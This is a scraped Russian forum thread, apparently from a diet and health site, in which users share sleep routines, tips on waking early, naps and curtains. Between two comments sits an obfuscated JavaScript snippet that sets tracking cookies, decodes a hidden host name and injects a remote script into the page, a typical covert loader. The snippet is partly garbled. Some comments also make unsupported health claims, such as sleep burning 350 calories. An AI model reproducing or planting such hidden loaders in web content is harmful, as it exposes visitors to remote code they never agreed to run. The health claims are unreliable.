Сон

5 мин мало. Не мелочитесь, Думаю, надо 15 брать.

посмотрим как пойдёт , может и до 15 дойду, спасибо)

Правильная идея! Как только осуществить задуманное? Получается, что жизнь - это работа и сон. А когда же с родными общаться?

О! Мне тоже надо!

Кира Пшеняник,  
1)нужно менять мышление , исключая внешние источники информации (либо наоборот искать то что поможет развитию) и оставаясь на едине с собой приходят очень интересные идеи, как в детстве прямо))   
2) Планировать свой день с вечера и корректировать план с утра ( всё записывать на первых порах)
3) и между прочим во снах тоже много интересного,вот у меня часто бывают картины которые вскоре встречаются в жизни. но  запоминать сны это достаточно трудоёмкая работа, но она того стоит!!  

Максим Тетюрев,  Вы во всем правы! Но для реализации этого плана нужна внутренняя дисциплина. И довольно жесткая. Лично у меня навряд ли так получится. 
Я не могу планировать свой день и четко следовать этому плану, т.к.  жизнь вносит свои коррективы. Попалась на глаза афиша - новая выставка в музее, сегодня последний день - надо сходить. Незапланированная случайная встреча с интересным человеком - и я не могу себе отказать в удовольствии по-дольше с ним пообщаться. Позвонил кто-то из родных - вернулись, к примеру, из отпуска - ну как не забежать после работы и не разделить с ними новые впечатления. Или интересная тема в живой ленте МЗР (как эта например) - и на комментарии уже уходит не 5 минут, а 30. И от этих, как Вы говорите, внешних источников информации лично я отказаться не могу. 
А в сутках всего 24 часа. Из них мы 8 часов работаем, 8 часов спим. И на все оставшиеся удовольствия жизни - только 8 часов.

Кира Пшеняник,  согласен с вами) 
в любом случае почти всё в наших руках ))  и если иметь мощное намерение то можно достичь любых высот. но это не всегда необходимо и порой  круговорот жизни интересней наших планов.. )

Максим Тетюрев,  все таки сегодня последую Вашему совету и буду менять мышление. Сегодня вечером у меня сон в приоритете.... Неделя была напряженная, организм требует отдыха.... Тем более впереди четыре  выходных - можно расслабиться....

Кира Пшеняник,   замечательно ) 
работа над собой одно из самых интересных занятий )

Ученые говорят, что когда человек ложится до 10ти вечера, и у него нормальный сон он держит вес в норме, если ложится поздно, идет сбой в каком то гормоне и накапливается жир...Веды более серьезно говорят об этом, с помощью правильного времени сна можно наладить даже судьбу...

Татьяна Черницкая,   если ложиться  и вставать в правильное время , то можно легко продлить себе жизнь. 
а в идеале , по моим представлениям  вставать с рассветом и ложиться с закатом . 

Сон - это хорошо.

я тоже пытаюсь перестроить свой сон, но пока идет с трудом, все как -то времени не хватает

Полноценный восьмичасовой сон помогает избавиться в среднем от 350 калорий 

всё идёт по плану, спать ложусь всё раньше и раньше

Алёна,  Полноценный восьмичасовой сон
Все очень индивидуально: есть люди которым 12 часов мало, есть люди 6-7 часов поспали - и "огурцом".

да,режим это хорошо! А я вот на луну бывает реагирую -плохо сплю.Сейчас как раз полнолуние

Joy Toy,  от образа жизни , питания и энергичности человека зависит .  вспомните себя в детстве, у нас было кууча энергии , а ели мы зачастую только потому что "надо"  принимали это как необходимое обстоятельство а не как потребность.  ну и с вопросом сна было тоже всё в порядке , встать с утра и разбудить родителей  - привычная тема

rangy,  вот и я когда полнолуние не могу спать. Зато в обед,  если есть возможность, подремать 30-40 мин. - милое дело

Вика Поклова написал:
подремать 30-40 мин. - милое дело

очень редко сплю днем,за всю жизнь по пальцам наверное можно пересчитать. От дневного сна у меня болит голова .И  вообще заснуть днем для меня большая проблема. Даже если очень устала и ночью не спала до этого.

rangy,  да, это проблема. Меня просто иногда обеденный сон спасает, т.к. с проблемой бессонницы знакома из личного опыта (особенно на нервной почве)

А я в последнее время в полдевятого вечера вырубаюсь. А встаю в около пяти утра. Уже месяц в таком режиме. Ну иногда в выходные дотягиваю до десяти вечера.

Kira Psheno, у меня и сейчас работа и сон)) Тоже как автор хочу ложиться не позже 10 и вставать в 5 или 5.30. И в какой-то момент смочь заниматься с утра, тогда будет вечер свободен. А пока вечером тренировка (когда не пропускаю) и все 

Ольга Иванова, класс!! А как раньше было? 

Максим Тетюрев написал:
от образа жизни , питания и энергичности человека зависит

и от индивидуальной конституции, личной особенности. Мне прописано спать 7 часов, эх, на самом деле, если встаю рано (бывает редко) и при этом нет накопившейся усталости (если устала, что бывает очень часто, то неадекватное состояние, тут спи не спи - все равно плохо), чувствую себя лучше.

Это правильно. Сон превыше всего. А как раньше то спали?

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Татьяна Черницкая, все правильно, а еще нужно спать без проникновения света через шторы, чтобы этот самый гормон помогал высыпаться и не задерживать вес. А зачем нам лишние препятствия? Так что спим с 22.00 и в полной темноте в идеале 

А мне, как ни странно лучше спится без штор - просыпаюсь вместе с солнцем, хорошо отдохнувшей. Стоит лечь спать в плотно зашторенной спальне - если и не просплю, то встану разбитой с желанием доспать еще, но чаще случается второе - сплю дольше необходимого, тогда вообще  весь день насмарку, хожу как побитая до вечера.